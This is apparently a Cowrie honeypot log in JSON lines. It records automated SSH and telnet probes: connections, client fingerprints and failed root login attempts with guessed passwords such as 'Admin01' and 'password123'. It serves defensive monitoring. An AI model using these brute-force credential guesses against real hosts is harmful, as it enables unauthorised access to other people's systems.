{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:13:94:49:a0:df:e3:e6:f2:eb:f9:e2:29:9b:1a:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDwej6gNK1UhXJ4NGPPD6yYTTGS35MfU88emyvdbIKGLwTE6Zlqdaj1wjG1clLCH/ngPnLwGPeVGr5H/jVLTAkIFh6ee5L6yFC1fbBGPwat+SeCCzuAh/PlOLBEwpskFjVVTA6lcvLPNvJzwZ47t/nMl6atFgLKhv6C1y1dwkoeHD+W4QINKWLltMiU6r8chkxJPw2yofCl39sqqsZ+TmU6BS3te7cOlPQzbSRAbSAIL6s6rwuqM28q5hBlokqnCCSsjFXecHEfnX0BhMQt4CBaRvXLnOLsCBmp2MFIlMKPZir2QOw43vbo8OgcZQ9H47bkzRcDR+ExzvMPlIQUpet","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:13:94:49:a0:df:e3:e6:f2:eb:f9:e2:29:9b:1a:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:29.160083Z","src_ip":"109.236.86.20","session":"1f10628f612a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:13:94:49:a0:df:e3:e6:f2:eb:f9:e2:29:9b:1a:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDwej6gNK1UhXJ4NGPPD6yYTTGS35MfU88emyvdbIKGLwTE6Zlqdaj1wjG1clLCH/ngPnLwGPeVGr5H/jVLTAkIFh6ee5L6yFC1fbBGPwat+SeCCzuAh/PlOLBEwpskFjVVTA6lcvLPNvJzwZ47t/nMl6atFgLKhv6C1y1dwkoeHD+W4QINKWLltMiU6r8chkxJPw2yofCl39sqqsZ+TmU6BS3te7cOlPQzbSRAbSAIL6s6rwuqM28q5hBlokqnCCSsjFXecHEfnX0BhMQt4CBaRvXLnOLsCBmp2MFIlMKPZir2QOw43vbo8OgcZQ9H47bkzRcDR+ExzvMPlIQUpet","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:29.163094Z","src_ip":"109.236.86.20","session":"1f10628f612a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:44:f1:90:38:44:88:3d:a2:ab:fe:b0:b4:de:9c:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXrA8sqRmHz7aRKZcKdyFYM6BS49hLEOYMhEnjRpOc9/C6OP+sDVvHGXhLeZeK6PqZpFm1m4k1WhXLPi0g5rPCo3a1UXcfkZEzpjuJKKxU3VQzsYwuzpqvihA2aqZrG9w9deTPUZfhOOOJXjXEYbxGUFSuBCxRC5Dubi+GIEVJkXvbYwWx7aucCt9kr+/rrJCO4iqdxqBzYCfUfFOoa69CuU4HQclLYwTiFrPUyMNBG0s8eMWYSkVQH5qZ7XttVwHaI5xAIw2qSDEEOA3rJgZcSyCzRnODe3g1YQvieUSi0afHq0Cv0mtYk6g4NRO8pZLxA5FoQtA2kioIou4Qnj1B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:44:f1:90:38:44:88:3d:a2:ab:fe:b0:b4:de:9c:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:29.244207Z","src_ip":"109.236.86.20","session":"1f10628f612a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:44:f1:90:38:44:88:3d:a2:ab:fe:b0:b4:de:9c:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXrA8sqRmHz7aRKZcKdyFYM6BS49hLEOYMhEnjRpOc9/C6OP+sDVvHGXhLeZeK6PqZpFm1m4k1WhXLPi0g5rPCo3a1UXcfkZEzpjuJKKxU3VQzsYwuzpqvihA2aqZrG9w9deTPUZfhOOOJXjXEYbxGUFSuBCxRC5Dubi+GIEVJkXvbYwWx7aucCt9kr+/rrJCO4iqdxqBzYCfUfFOoa69CuU4HQclLYwTiFrPUyMNBG0s8eMWYSkVQH5qZ7XttVwHaI5xAIw2qSDEEOA3rJgZcSyCzRnODe3g1YQvieUSi0afHq0Cv0mtYk6g4NRO8pZLxA5FoQtA2kioIou4Qnj1B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:29.247648Z","src_ip":"109.236.86.20","session":"1f10628f612a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:03:28:be:1b:8a:18:cd:1b:97:bf:c2:03:8b:d0:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI36rs3RzV2nuQgBxonGgEb/Kn4lrV37Mdob1CEQbYL5LtzaALUCaRPAdB3Hz1o9m4oASjmeeOkfjk5yR/0VffhEu7CP4z+sN6Ye3WnP2HxL+aM6W2x9Ue2ZFzCNopOka1UwsyoTXrq3Jf3X05Gsag+II90xGZtNOxYJCUDJaTpB2U1dIiqux1KqrATZXCI+1QAHhKfB7d0UYaGgA3I08aa8+aGEexeVBzF3SN9vfs4k4h63DKDD1UE1COkECukURaxaXRQwZRCjS77i6ADE5SzallYtZU+lJkf9Unoa4xsK2dJkP8VzBqbingQOG47GrJ318MS0QDxu9uwh3NidXD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:03:28:be:1b:8a:18:cd:1b:97:bf:c2:03:8b:d0:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:29.329221Z","src_ip":"109.236.86.20","session":"1f10628f612a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:03:28:be:1b:8a:18:cd:1b:97:bf:c2:03:8b:d0:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI36rs3RzV2nuQgBxonGgEb/Kn4lrV37Mdob1CEQbYL5LtzaALUCaRPAdB3Hz1o9m4oASjmeeOkfjk5yR/0VffhEu7CP4z+sN6Ye3WnP2HxL+aM6W2x9Ue2ZFzCNopOka1UwsyoTXrq3Jf3X05Gsag+II90xGZtNOxYJCUDJaTpB2U1dIiqux1KqrATZXCI+1QAHhKfB7d0UYaGgA3I08aa8+aGEexeVBzF3SN9vfs4k4h63DKDD1UE1COkECukURaxaXRQwZRCjS77i6ADE5SzallYtZU+lJkf9Unoa4xsK2dJkP8VzBqbingQOG47GrJ318MS0QDxu9uwh3NidXD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:29.332087Z","src_ip":"109.236.86.20","session":"1f10628f612a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:29.414645Z","src_ip":"109.236.86.20","session":"1f10628f612a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.973071336746216,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:29.687439Z","src_ip":"172.81.62.90","session":"9002e6382137","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin01","message":"login attempt [root/Admin01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:30.982771Z","src_ip":"27.71.230.31","session":"864b039ece9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:33.046835Z","src_ip":"27.71.230.31","session":"864b039ece9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":27149,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a0b380e446c","protocol":"ssh","message":"New connection: 178.20.210.208:27149 (159.203.135.109:22) [session: 1a0b380e446c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:37:33.500194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:37:33.511041Z","src_ip":"178.20.210.208","session":"1a0b380e446c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:37:33.607788Z","src_ip":"178.20.210.208","session":"1a0b380e446c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password123","message":"login attempt [root/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:37:33.980073Z","src_ip":"178.20.210.208","session":"1a0b380e446c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":35986,"dst_ip":"159.203.135.109","dst_port":22,"session":"39172375fec0","protocol":"ssh","message":"New connection: 80.66.85.226:35986 (159.203.135.109:22) [session: 39172375fec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:37:34.752351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:37:34.756052Z","src_ip":"80.66.85.226","session":"39172375fec0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:37:34.848874Z","src_ip":"80.66.85.226","session":"39172375fec0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:37:35.077001Z","src_ip":"178.20.210.208","session":"1a0b380e446c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13577531","message":"login attempt [root/13577531] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:37:35.127990Z","src_ip":"80.66.85.226","session":"39172375fec0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:37:36.225461Z","src_ip":"80.66.85.226","session":"39172375fec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":34326,"dst_ip":"159.203.135.109","dst_port":23,"session":"9aedf40407f1","protocol":"telnet","message":"New connection: 172.81.62.90:34326 (159.203.135.109:23) [session: 9aedf40407f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:37:37.864391Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":57716,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5b4efcec59a","protocol":"ssh","message":"New connection: 103.122.221.179:57716 (10.17.0.5:22) [session: f5b4efcec59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:38:05.884865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:38:05.887748Z","src_ip":"103.122.221.179","session":"f5b4efcec59a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:38:06.130272Z","src_ip":"103.122.221.179","session":"f5b4efcec59a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"110291","message":"login attempt [root/110291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:38:06.859783Z","src_ip":"103.122.221.179","session":"f5b4efcec59a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:38:08.105057Z","src_ip":"103.122.221.179","session":"f5b4efcec59a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":34812,"dst_ip":"159.203.135.109","dst_port":22,"session":"41cb34e6fe83","protocol":"ssh","message":"New connection: 152.32.171.213:34812 (159.203.135.109:22) [session: 41cb34e6fe83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:38:13.817375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:38:13.821608Z","src_ip":"152.32.171.213","session":"41cb34e6fe83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:38:14.040758Z","src_ip":"152.32.171.213","session":"41cb34e6fe83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcvbnm1","message":"login attempt [root/Zxcvbnm1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:38:14.950711Z","src_ip":"152.32.171.213","session":"41cb34e6fe83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.857179403305054,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:38:15.721476Z","src_ip":"172.81.62.90","session":"9aedf40407f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:38:16.171719Z","src_ip":"152.32.171.213","session":"41cb34e6fe83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0058331489563,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:38:20.820961Z","src_ip":"94.23.66.112","session":"7cc6e29a01bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":44216,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca2521e66241","protocol":"telnet","message":"New connection: 172.81.62.90:44216 (159.203.135.109:23) [session: ca2521e66241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:39:05.983562Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39352,"dst_ip":"159.203.135.109","dst_port":23,"session":"6de47d46afd6","protocol":"telnet","message":"New connection: 172.81.62.90:39352 (159.203.135.109:23) [session: 6de47d46afd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:39:11.037586Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":54890,"dst_ip":"159.203.135.109","dst_port":22,"session":"454987e0963b","protocol":"ssh","message":"New connection: 194.113.233.25:54890 (159.203.135.109:22) [session: 454987e0963b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:39:29.553061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:39:29.556748Z","src_ip":"194.113.233.25","session":"454987e0963b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:39:29.650181Z","src_ip":"194.113.233.25","session":"454987e0963b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:39:29.933372Z","src_ip":"194.113.233.25","session":"454987e0963b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:39:31.032814Z","src_ip":"194.113.233.25","session":"454987e0963b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.15227293968201,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:39:45.135689Z","src_ip":"172.81.62.90","session":"ca2521e66241","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.11124920845032,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:39:46.148713Z","src_ip":"172.81.62.90","session":"6de47d46afd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":45520,"dst_ip":"10.17.0.5","dst_port":22,"session":"243b35635e55","protocol":"ssh","message":"New connection: 77.94.47.83:45520 (10.17.0.5:22) [session: 243b35635e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:40:25.864448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:40:25.867977Z","src_ip":"77.94.47.83","session":"243b35635e55","protocol":"ssh"}
